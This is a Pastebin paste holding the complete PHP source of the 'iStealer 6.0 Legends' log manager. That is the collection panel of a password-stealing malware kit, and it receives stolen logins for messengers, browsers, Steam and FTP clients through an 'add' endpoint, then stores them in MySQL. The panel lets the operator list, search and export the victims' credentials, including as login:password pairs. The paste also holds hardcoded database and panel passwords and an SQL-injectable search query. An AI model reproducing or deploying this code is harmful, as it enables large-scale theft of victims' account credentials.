Advertisement
Guest User

Untitled

a guest
Jun 16th, 2017
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.47 KB | None | 0 0
  1. // CONFIGURATION ******************************************************************************
  2.  
  3. $dbHost = "localhost"; // MySQL host
  4. $dbUser = "vkregbal_logger"; // MySQL username
  5. $dbPass = "GOxsX"; // MySQL password
  6. $dbDatabase = "vkregbal_logger"; // MySQL database name
  7.  
  8. $username = "kutjes"; // Login Username
  9. $password = "XDXDXD"; // Login Password
  10.  
  11. $logspage = 100; // Number of logs per page
  12.  
  13. // ********************************************************************************************
  14.  
  15. $html = "<html><head><title>iStealer 6.0 Legends Log manager - ";
  16. $header = "</title><link rel='stylesheet' type='text/css' href='style.css'/></head><body>
  17. <div id='web'><div id='header'><b>Hello, ".$username."</b></div><div id='navigation'><ul>
  18. <li><a href='?action=logs'>Show All Logs</a></li><li><a href='?action=search'>Search</a></li>
  19. <li><a href='?action=exportall'>Export All Logs</a></li>
  20. <li><a href='?action=logout'>Logout</a></li></ul></div><br>";
  21. $footer = "<div id='footer'>iStealer 6.0 Legends - Kizar Labs 2009</div></div></body></html>";
  22. $searchform = "<form name='search' method='POST' action='?action=search'>
  23. Search for: <input type='text' name='q' size='20'> In: <select name='in'>
  24. <option selected='selected' value='1'>Url</option><option value='2'>Login</option>
  25. <option value='3'>Password</option><option value='4'>Computer</option>
  26. <option value='5'>Date</option><option value='6'>Ip</option></select>
  27. <input type='submit' value='Search' name='search'></form>";
  28. $loginform = "<form id='loginform' name='frm' method='POST' action='?action=login'>
  29. <table id='logintable' cellpadding='0' cellspacing='10' border='0'>
  30. <tr><td>Username:</td><td><input type='text' name='username' size='20'></td></tr>
  31. <tr><td>Password:</td><td><input type='password' name='password' size='20'></td></tr>
  32. <tr><td></td><td><input type='submit' value='Login' name='login'></td></tr></form>";
  33. $javascript = "<script language='javascript' type='text/javascript'>
  34. function checkAll() { chk = document.getElementsByName('sel[]');
  35. for (i = 0; i<chk.length; i++) { if (document.frm.elements['check_all'].checked) chk[i].checked = true; else chk[i].checked = false;}}
  36. function checkform() { chk = document.getElementsByName('sel[]'); for (i = 0; i<chk.length; i++) { if (chk[i].checked == true) {
  37. return true;}} alert('At least one option must be select.'); return false; }
  38. function confirmation() { return confirm('Are you sure you want to delete all selected logs?');}</script>";
  39. $aplications = array("MSN Messenger", "Google talk", "Trillian/MSN", "Trillian/AIM", "Trillian/Yahoo", "Pidgin/Gaim", "Paltalk Scene", "Steam",
  40. "No-Ip" , "DynDNS", "Firefox", "Internet Explorer", "Google Chrome", "Opera", "IDM", "FileZilla", "FlashFXP", "SmartFtp", "CuteFtp");
  41. $cols = array("program", "url", "login", "pass", "computer", "date", "ip");
  42.  
  43. // FUNCTIONS ******************************************************************************
  44. function connect_database() {
  45. global $dbHost, $dbUser, $dbPass, $dbDatabase, $html, $header, $footer;
  46. $mysql = mysql_connect($dbHost, $dbUser, $dbPass);
  47. if (!$mysql) {
  48. $html .= "Database Error".$header."Can not connect to database, please check the configuration.".$footer;
  49. die($html);
  50. }
  51. if (!mysql_select_db($dbDatabase, $mysql)) {
  52. mysql_close($mysql);
  53. $html .= "Database Error".$header."Can not select '".$dbDatabase."' database, please check the configuration.".$footer;
  54. die($html);
  55. }
  56. return $mysql;
  57. }
  58. function pages_number($logstotal, $logspage) {
  59. $pagesnumber = ceil($logstotal/$logspage);
  60. $temp = "Pages: ";
  61. for ($i=0; $i<$pagesnumber; $i++) {
  62. if ($_SESSION["page"] == $i)
  63. $temp .= " <span class='page1'>".$i."</span>";
  64. else
  65. $temp .= " <span class='page0'><a href='?action=logs&page=".$i."'>".$i."</a></span>";
  66. }
  67. $temp .= " Results ".($_SESSION["page"]*$logspage)." - ".(($_SESSION["page"]*$logspage)+$logspage)." of about ".$logstotal;
  68. return $temp;
  69. }
  70. function sort_order() {
  71. if ($_SESSION["order"] == 0) $tmp = "ASC"; else $tmp = "DESC";
  72. return $tmp;
  73. }
  74.  
  75. // TEST *************************************************************************************
  76. if ($_GET["action"] == "test") {
  77. $mysql = connect_database();
  78. $result = mysql_query("SELECT COUNT(*) FROM `logs`;", $mysql);
  79. if ($result) {
  80. echo "Ready";
  81. } else {
  82. echo "NoReady";
  83. }
  84. mysql_close($mysql);
  85. exit;
  86. }
  87.  
  88. // ADD ***************************************************************************************
  89. if ($_GET["action"] == "add") {
  90. if (isset($_GET["a"]) && isset($_GET["c"]) && isset($_GET["u"]) && isset($_GET["l"])&& isset($_GET["p"])
  91. && is_numeric($_GET["a"]) && $_GET["a"]>=0 && $_GET["a"]<=18 && strlen($_GET["p"])>3) {
  92. $mysql = mysql_connect($dbHost, $dbUser, $dbPass);
  93. if (!$mysql) exit;
  94. if (!mysql_select_db($dbDatabase, $mysql)) exit;
  95. $result = mysql_query("SELECT * FROM `logs` WHERE `program` = '".$_GET["a"]."' AND `url` = '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["u"])), $mysql).
  96. "' AND `login` = '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["l"])), $mysql)."' AND `pass` = '".
  97. mysql_real_escape_string(htmlspecialchars(urldecode($_GET["p"])), $mysql)."';", $mysql);
  98. if (!$result) exit;
  99. if (mysql_num_rows($result) == 0) {
  100. $result = mysql_query("INSERT INTO `logs` (`id`, `program`, `url`, `login`, `pass`, `computer`, `date`, `ip`) VALUES (NULL , '".
  101. $_GET["a"]."', '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["u"])), $mysql)."', '".
  102. mysql_real_escape_string(htmlspecialchars(urldecode($_GET["l"])), $mysql)."', '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["p"])), $mysql)."', '".
  103. mysql_real_escape_string(htmlspecialchars(urldecode($_GET["c"])), $mysql)."', '".date("Y-m-d H:i:s")."', '".$_SERVER['REMOTE_ADDR']."');", $mysql);
  104. }
  105. mysql_close($mysql);
  106. }
  107. exit;
  108. }
  109.  
  110. // LOGIN **************************************************************************************
  111. session_start();
  112. if ($_SESSION["user"]!=$username || $_SESSION["ip"]!=$_SERVER["REMOTE_ADDR"]) {
  113. if ($_GET["action"] == "login") {
  114. if (isset($_POST["username"]) && isset($_POST["password"]) && $username==$_POST["username"] && $password==$_POST["password"]) {
  115. session_start();
  116. $_SESSION["user"] = $username;
  117. $_SESSION["ip"] = $_SERVER["REMOTE_ADDR"];
  118. $_SESSION["sort"] = 5;
  119. $_SESSION["order"] = 1;
  120. $_SESSION["page"] = 0;
  121.  
  122. $mysql = connect_database();
  123. $result = mysql_query("SELECT COUNT(*) FROM `logs`;", $mysql);
  124. if (!$result) {
  125. $result = mysql_query("CREATE TABLE `logs` (`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY, `program` INT NOT NULL, `url`
  126. VARCHAR(150) NOT NULL, `login` VARCHAR(50) NOT NULL, `pass` VARCHAR(50) NOT NULL, `computer` VARCHAR(50) NOT NULL, `date`
  127. DATETIME NOT NULL, `ip` VARCHAR(15) NOT NULL);", $mysql);
  128. if (!$result) {
  129. $html .= "Database Error".$header."Can not create table 'logs', please check the configuration and your priviledges.".$footer;
  130. die($html);
  131. }
  132. }
  133. mysql_close($mysql);
  134. header("Location: ?action=logs");
  135. } else {
  136. $html = "<html><head><title>Login Error</title><link rel='stylesheet' type='text/css' href='style.css'/></head><body>".$loginform."</body></html>";
  137. echo $html;
  138. exit;
  139. }
  140. } else {
  141. $html = "<html><head><title>Login</title><link rel='stylesheet' type='text/css' href='style.css'/></head><body>".$loginform."</body></html>";
  142. echo $html;
  143. exit;
  144. }
  145. }
  146.  
  147. // LOGOUT ************************************************************************************
  148. if ($_GET["action"] == "logout") {
  149. unset($_SESSION["user"]);
  150. unset($_SESSION["ip"]);
  151. unset($_SESSION["sort"]);
  152. unset($_SESSION["order"]);
  153. unset($_SESSION["page"]);
  154. session_unset();
  155. header("Location: index.php");
  156.  
  157. // LOGS **************************************************************************************
  158. } elseif ($_GET["action"] == "logs" || !isset($_GET["action"])) {
  159.  
  160. if (isset($_GET["sort"]) && $_GET["sort"]>=0 && $_GET["sort"]<=6) {
  161. if ($_SESSION["sort"] == $_GET["sort"])
  162. if ($_SESSION["order"] == 0) $_SESSION["order"] = 1; else $_SESSION["order"] = 0; else $_SESSION["sort"] = $_GET["sort"];
  163. }
  164.  
  165. $mysql = connect_database();
  166. $result = mysql_query("SELECT COUNT(*) FROM `logs`;", $mysql);
  167. $logstotal = mysql_result($result, 0);
  168. if ($logstotal > 0) {
  169. if (isset($_GET["page"]) && is_numeric($_GET["page"]) && $_GET["page"]>=0 && $_GET["page"]<=ceil($logstotal/$logspage))
  170. $_SESSION["page"] = $_GET["page"];
  171.  
  172. $result = mysql_query("SELECT * FROM `logs` ORDER BY `".$cols[$_SESSION["sort"]]."` ".sort_order()." LIMIT ".($logspage*$_SESSION["page"])." , ".$logspage.";", $mysql);
  173. if (!$result) die(mysql_error());
  174.  
  175. $html .= "Logs".$header.$javascript."
  176. <form name='frm' method='POST' action='?action=selected' onsubmit='return checkform();'>
  177. <table id='logstable' cellpadding='2' cellspacing='0' border='0'><tr id='row0'>
  178. <td><a href='?action=logs&sort=0'>Program</a></td><td><a href='?action=logs&sort=1'>Url / Host</a></td>
  179. <td><a href='?action=logs&sort=2'>Login</a></td><td><a href='?action=logs&sort=3'>Password</a></td>
  180. <td><a href='?action=logs&sort=4'>Computer</a></td><td><a href='?action=logs&sort=5'>Date</a></td>
  181. <td><a href='?action=logs&sort=6'>Ip</a></td>
  182. <td><input type='checkbox' name='check_all' onClick='checkAll();'></td></tr>";
  183. $i = 0;
  184. while ($row = mysql_fetch_array($result)) {
  185. $html .= "<tr class='";
  186. if ($i % 2 == 0) $html .= "row1"; else $html .= "row2";
  187. $html .= "'><td>".$aplications[$row["program"]]."</td>";
  188. $html .= "<td><a href='".$row["url"]."' target='_blanc'>".$row["url"]."</a></td><td>".$row["login"]."</td><td>".$row["pass"]."</td>";
  189. $html .= "<td>".$row["computer"]."</td><td>".$row["date"]."</td><td>".$row["ip"]."</td>";
  190. $html .= "<td><input type='checkbox' name='sel[]' value='".$row["id"]."'></td></tr>";
  191. $i++;
  192. }
  193. $html .= "</table><div id='pages'><div id='numbers'>".pages_number($logstotal, $logspage)."</div><div id='buttons'><input name='buttonact'
  194. type='submit' value='Copy Selected'> <input name='buttonact' type='submit' value='Export Selected'> <input name='buttonact' type='submit'
  195. value='Delete Selected' onclick='if (!confirmation()) return false;'></div></div></form>".$footer;
  196. } else {
  197. $html .= "Logs".$header."No logs found!".$footer;
  198. }
  199. mysql_close($mysql);
  200. echo $html;
  201.  
  202. // SEARCH ************************************************************************************
  203. } elseif ($_GET["action"] == "search") {
  204. if (isset($_POST["q"]) && isset($_POST["in"]) && is_numeric($_POST["in"]) && $_POST["in"]>0 && $_POST["in"]<=6) {
  205. $mysql = connect_database();
  206. $result = mysql_query("SELECT * FROM `logs` WHERE `".$cols[$_POST["in"]]."` LIKE '%".$_POST["q"]."%';", $mysql);
  207. if (!$result) die(mysql_error());
  208.  
  209. if (mysql_num_rows($result) > 0) {
  210. $html .= "Search".$header.$javascript.$searchform."
  211. <form name='frm' method='POST' action='?action=selected' onsubmit='return checkform();'>
  212. <table id='searchtable' cellpadding='2' cellspacing='0' border='0'><tr id='row0'>
  213. <td>Program</td><td>Url / Host</td>
  214. <td>Login</td><td>Password</td>
  215. <td>Computer</td><td>Date</td>
  216. <td>Ip</td>
  217. <td><input type='checkbox' name='check_all' onClick='checkAll();'></td></tr>";
  218. $i = 0;
  219. while ($row = mysql_fetch_array($result)) {
  220. $html .= "<tr class='";
  221. if ($i % 2 == 0) $html .= "row1"; else $html .= "row2";
  222. $html .= "'><td>".$aplications[$row["program"]]."</td>";
  223. $html .= "<td><a href='".$row["url"]."' target='_blanc'>".$row["url"]."</a></td><td>".$row["login"]."</td><td>".$row["pass"]."</td>";
  224. $html .= "<td>".$row["computer"]."</td><td>".$row["date"]."</td><td>".$row["ip"]."</td>";
  225. $html .= "<td><input type='checkbox' name='sel[]' value='".$row["id"]."'></td></tr>";
  226. $i++;
  227. }
  228. $html .= "</table><div id='pages'><div id='numbers'>".mysql_num_rows($result)." results for '".$_POST["q"]."'</div><div id='buttons'>
  229. <input name='buttonact' type='submit' value='Copy Selected'> <input name='buttonact' type='submit' value='Export Selected'>
  230. <input name='buttonact' type='submit' value='Delete Selected' onclick='if (!confirmation()) return false;'></div></div></form>".$footer;
  231. } else {
  232. $html .= "Search".$header.$searchform."<br>No results found!".$footer;
  233. }
  234. mysql_close($mysql);
  235. } else {
  236. $html .= "Search".$header.$searchform.$footer;
  237. }
  238. echo $html;
  239.  
  240. // EXPORT ALL ************************************************************************************
  241. } elseif ($_GET["action"] == "exportall") {
  242. header("Content-Type: text/plain");
  243. header("Content-Disposition: Attachment; filename=iStealer_6.0_export.txt");
  244. header("Pragma: no-cache");
  245.  
  246. $mysql = connect_database();
  247. $result = mysql_query("SELECT * FROM `logs`;", $mysql);
  248. if (!$result) die(mysql_error());
  249.  
  250. while ($row = mysql_fetch_array($result)) {
  251. echo "Program:\t".$aplications[$row['program']]."\r\n";
  252. echo "Url/Host:\t".$row['url']."\r\n";
  253. echo "Login:\t\t".$row['login']."\r\n";
  254. echo "Password:\t".$row['pass']."\r\n";
  255. echo "Computer:\t".$row['computer']."\r\n";
  256. echo "Date:\t\t".$row['date']."\r\n";
  257. echo "Ip:\t\t\t".$row['ip']."\r\n";
  258. echo "----------------------------------------------------------\r\n";
  259. }
  260. mysql_close($mysql);
  261.  
  262. // SELECTED **************************************************************************************
  263. } elseif ($_GET["action"] == "selected") {
  264. if (isset($_POST["buttonact"]) && isset($_POST["sel"]) && count($_POST["sel"])!=0) {
  265.  
  266. // DELETE SELECTED ***********************************************************************
  267. if ($_POST["buttonact"] == "Delete Selected") {
  268. $mysql = connect_database();
  269. $query = "DELETE FROM `logs` WHERE";
  270. for ($i=0; $i<count($_POST["sel"]); $i++) {
  271. if (is_numeric($_POST["sel"][$i]))
  272. $query .= " `id` = ".$_POST["sel"][$i]." OR";
  273. }
  274. $query .= ';';
  275. $query = str_replace(' OR;', ';', $query);
  276. $result = mysql_query($query, $mysql);
  277. if (!$result) die(mysql_error());
  278. mysql_close($mysql);
  279. header("Location: ?action=logs");
  280.  
  281. // EXPORT SELECTED ***********************************************************************
  282. } elseif ($_POST["buttonact"] == "Export Selected") {
  283. header("Content-Type: text/plain");
  284. header("Content-Disposition: Attachment; filename=iStealer_6.0_export.txt");
  285. header("Pragma: no-cache");
  286. $mysql = connect_database();
  287. $query = "SELECT * FROM `logs` WHERE";
  288. for ($i=0; $i<count($_POST["sel"]); $i++) {
  289. if (is_numeric($_POST["sel"][$i]))
  290. $query .= " `id` = ".$_POST["sel"][$i]." OR";
  291. }
  292. $query .= ';';
  293. $query = str_replace(' OR;', ';', $query);
  294. $result = mysql_query($query, $mysql);
  295. if (!$result) die(mysql_error());
  296. while ($row = mysql_fetch_array($result)) {
  297. echo "Program:\t".$aplications[$row['program']]."\r\n";
  298. echo "Url/Host:\t".$row['url']."\r\n";
  299. echo "Login:\t\t".$row['login']."\r\n";
  300. echo "Password:\t".$row['pass']."\r\n";
  301. echo "Computer:\t".$row['computer']."\r\n";
  302. echo "Date:\t\t".$row['date']."\r\n";
  303. echo "Ip:\t\t\t".$row['ip']."\r\n";
  304. echo "----------------------------------------------------------\r\n";
  305. }
  306. mysql_close($mysql);
  307.  
  308. // COPY SELECTED *************************************************************************
  309. } elseif ($_POST["buttonact"] == "Copy Selected") {
  310. $mysql = connect_database();
  311. $query = "SELECT `login`, `pass` FROM `logs` WHERE";
  312. for ($i=0; $i<count($_POST["sel"]); $i++) {
  313. if (is_numeric($_POST["sel"][$i]))
  314. $query .= " `id` = ".$_POST["sel"][$i]." OR";
  315. }
  316. $query .= ';';
  317. $query = str_replace(' OR;', ';', $query);
  318. $result = mysql_query($query, $mysql);
  319. if (!$result) die(mysql_error());
  320. $html .= "Copy".$header."<table id='searchtable' cellpadding='2' cellspacing='0' border='0'><tr class='row1'><td>";
  321. while ($row = mysql_fetch_array($result))
  322. $html .= $row['login'].":".$row['pass']."<br>";
  323. mysql_close($mysql);
  324. $html .= "</td></tr></table><br>".$footer;
  325. echo $html;
  326. }
  327. }
  328. } else {
  329. $html .= "Unexpected Error".$header."Unexpected Error".$footer;
  330. echo $html;
  331. }
  332. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement